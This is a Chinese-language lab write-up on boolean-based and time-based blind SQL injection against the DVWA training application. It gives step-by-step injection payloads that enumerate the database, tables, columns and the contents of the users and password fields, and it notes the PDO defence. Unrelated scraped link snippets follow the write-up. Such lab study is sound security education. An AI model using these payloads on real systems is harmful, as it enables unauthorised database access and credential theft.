DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记
基于布尔值的盲注
一、DVWA分析
将DVWA的级别设置为low
1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变,此次不能简单的通过回显的值来进行一般的注入了,可以通过bool盲注或者基于时间的注入。
2.判断sql是否存在注入,以及注入的类型
下图说明存在字符型注入
3.猜解当前数据库名
3.1猜解当前数据库的长度
1' and length(database())=4 #
3.2猜解数据库的名称
1' and ascii(substr(database(),1,1))>99 #
1' and ascii(substr(database(),1,1))>100 #
3.3从上面的图可以看到当前的数据库名的第一位是d,依照上面的方法猜解数据库的其他3位 猜解到数据库名位dvwa
4.猜解数据库中的表名
4.1猜解数据库中有几个表,下图可以得出有2个表
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#
4.2猜解表名称的长度
猜解第一个表的长度
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9#
猜解第二个表的长度
1' and length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5 #
4.3猜解表的名称
猜解第一个表
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103#
依次猜解,获得第一个表的名称(guestbook)
猜解第二个表
1' and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117#
依次猜解,获得第二个表的名称(users)
5.猜解表中的字段名
5.1猜解users表中有几个字段
1' and (select count(column_name) from information_schema.columns where table_name='users')=8#
5.2猜解每个字段的长度
猜解第一个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7#
猜解第二个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))=10#
猜解第三个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=9#
猜解第四个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 3,1))=4#
猜解第五个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 4,1))=8#
猜解第六个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 5,1))=6#
猜解第七个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 6,1))=10#
猜解第八个字段的长度
1' and length((select column_name from information_schema.columns where table_name='users' limit 7,1))=12#
5.3猜解字段的名称
这里只猜解第三个字段(user)和第四个字段(password)的名称
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=117#
依次猜解,获得字段的名称(user)
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1))=112#
依次猜解,获得字段的名称(password)
5.4猜解数据
1' and (select count(user) from users)=5# 猜解到user字段有5行数据
1' and ascii(substr((select user from users limit 0,1),1,1))=97#
依次猜解user字段的所有行数的数据
1' and ascii(substr((select password from users limit 1,1),1,1))=85#
将DVWA的级别设置为medium
1.可以看到前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数,分析源码mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义
2.判断是否存在注入点以及注入的类型
输入如下两行,判断返回的结果,下图说明存在数字型注入
1 and 1=1#
1 and 1=2#
3.猜解当前数据库名
3.1猜解数据库的长度
1 and length(database())=4#
3.2猜解数据库的名称
1 and ascii(substr(database(),1,1))=100#
依次猜解,获得当前数据库的名称位dvwa
4.猜解数据库中的表
4.1猜解数据库中有几个表
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
4.2猜解表名称的长度
猜解第一个表的长度
1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#
猜解第二个表的长度
1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1))=5#
4.3猜解表的名称
猜解第一个表
1 and ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1))=103#
依次猜解,获得第一个表的名称(guestbook)
猜解第二个表
1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117#
依次猜解,获得第二个表的名称(users)
5.猜解表中的字段名
5.1猜解users表中有几个字段
1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8#
5.2猜解字段的长度
5.3猜解字段的名称
将DVWA的级别设置为High
1.分析源码,利用cookie传递参数id,当sql查询结果为空时,会执行sleep函数(防止基于时间的盲注),然后在sql查询语句中加入了limit限制,但可以通过#注释掉来绕过防御。
将DVWA的级别设置为Impossible
1.分析源码,对参数使用PDO技术,PDO技术将用户传递的参数与sql查询语句完全分离,杜绝了sql注入
DVWA-SQL基于时间盲注
将DVWA的级别设置为low
1.判断是否存在注入点以及注入类型
通过输入以下两行,根据返回的延迟判断存在字符型注入
1 and sleep(5)#
1' and sleep(5)#
2.猜解当前数据库名
2.1猜解当前数据库的长度
1' and if(length(database())=4,sleep(5),1)#
2.2猜解数据库的名称
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
依次猜解,获得当前数据库的名称位dvwa
3.猜解数据库中的表
3.1猜解数据库中有几个表
1' and if((select count(table_name) from information_schema.tables where table_schema='dvwa')=2,sleep(5),1)#
3.2猜解表名称的长度
猜解第一个表的长度
1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1))=9,sleep(5),1)#
猜解第二个表的长度
1' and if(length((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1))=5,sleep(5),1)#
3.3猜解表的名称
猜解第一个表
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))=103,sleep(5),1)#
依次猜解,获得第一个表的名称(guestbook)
猜解第一个表
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117,sleep(5),1)#
依次猜解,获得第二个表的名称(users)
4. 猜解表中的字段名
4.1猜解users表中有几个字段
1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#
4.2猜解字段的名称
同上
DVWA-基于布尔值的盲注与基于时间的盲注学习笔记的更多相关文章
- 位运算求最值 学习笔记 (待补充QAQ)
没有什么前言?直接进入正题qwq 俩俩异或 求最值: 建trie树 O(n)枚举每个数找这个数的最值,每次反走就成,还可以剪枝一波(如果在某位已经小于ans显然可以直接return? void Ins ...
- Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)
Day41 login3(SKCTF)
- SQL基于时间的盲注过程
0x00 前言 由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把基于布尔的盲注分析总结了: 首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是 ...
- mysql基于“时间”的盲注
无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...
- Python:SQLMap源码精读—基于时间的盲注(time-based blind)
建议阅读 Time-Based Blind SQL Injection Attacks 基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以 ...
- Swift语言指南(七)--语言基础之布尔值和类型别名
原文:Swift语言指南(七)--语言基础之布尔值和类型别名 布尔值 Swift有一个基本布尔类型,叫做布尔(bool),布尔值又称逻辑值(logical),因为它只能为真(true)或假(false ...
- 第一节 Python基础之数据类型(整型,布尔值,字符串)
数据类型是每一种语言的基础,就比如说一支笔,它的墨有可能是红色,有可能是黑色,也有可能是黄色等等,这不同的颜色就会被人用在不同的场景.Python中的数据类型也是一样,比如说我们要描述一个人的年龄:小 ...
- Python数据类型-01.数字和布尔值
本节主要介绍Python中的基础知识中的数据类型,数字和布尔值 介绍几个知识点:1)内置函数print()的用法,直接打印括号里面的内容,或者print后跟多个输出,以逗号分隔.2)内置函数type( ...
- [python学习篇][书籍学习][python standrad library][内置类型]对象测试真值,布尔值操作, 比较操作
几乎所有对象都可以比较.测试真值.转换为字符串(其实就是用repr()函数,或略有差异的str()函数来转换) 1 对象是否为真 任何对象都可以测试真值,用于if或while的条件或下面布尔运算的操作 ...
随机推荐
- linux 在切换用户时出现:命令提示符-bash-4.1$错误解决
有时候在使用用户登陆Linux系统时会发现,命令行提示符成了:-bash-4.1$,不显示用户名,路径信息. 原因:用户家目录里面与环境变量有关的文件被删除所导致的 也就是这俩文件:.bash_pro ...
- NSURLSession的知识小记
1.NSURLSession的使用流程 使用NSRULSession对象创建Task, 然后执行Task 2.获取NSURLSession ()获得共享的Session + (NSURLSession ...
- 一款开源且超好用的网站克隆机 HTTrack
0x00 前言 我们在学习前端的时候,总是会想着去学习其他人网站是如何制作的,或者我们遇到一些比较有用的知识点的时候,我们可能会选择通过 Ctrl + C / Ctrl + V 去扒下内容,然而我并非 ...
- MySQL数据篇(五)--SQL对数据进行按月统计,或对数据进行按星期统计
对于所有的需求,当你不知道怎么处理的时候,你就先用最简单的方法,或者说的明白一点,用最原始的方法,先实现业务需求再说. 一.对提现队列数据表“ims_checkout_task”进行汇总统计,按月汇总 ...
- Oracle EBS如何查找到说明性弹性域Title
Oracle EBS如何查找到说明性弹性域Title 一.方法一:直接在弹性栏位界面查询 在EBS中,有部分表已经启用说明性弹性域,我们可以直接在界面得到弹性域对话框的标题,如下图所示,在OM-事务处 ...
- 如何优雅地停止Spark Streaming Job
由于streaming流程序一旦运行起来,基本上是无休止的状态,除非是特殊情况,否则是不会停的.因为每时每刻都有可能在处理数据,如果要停止也需要确认当前正在处理的数据执行完毕,并且不能再接受新的数据, ...
- mac上安装npm
检查brew -v是否安装了homebrew这个macOS 缺失的软件包的管理器.如果安装,跳转到第3步,否则跳转到第二步: 安装homebrew.安装跳转到官网指导.等待安装好之后,输入brew - ...
- 渗透测试学习 十七、 XSS跨站脚本漏洞详解
一般用途:拿cookie进后台,将后台地址一起发送过来 特点:挖掘困难,绕过困难 大纲: XSS漏洞基础讲解 XSS漏洞发掘与绕过 XSS漏洞的综合利用 XSS漏洞基础讲解 XSS介绍: 跨站脚 ...
- ntp服务设置开机自启动失败
设置了ntpd开机自启动,重启服务器ntpd没有自启动 1.需要禁掉chronyd.service: systemctl disable chronyd.service 2.手动启动ntpd: sys ...
- GoogLeNet结构
Inception v1 论文:<Going deeper with convolutions> 在较低的层(靠近输入的层)中,相关单元更侧重提取局部区域的信息.因此使用1x1的特征可以保 ...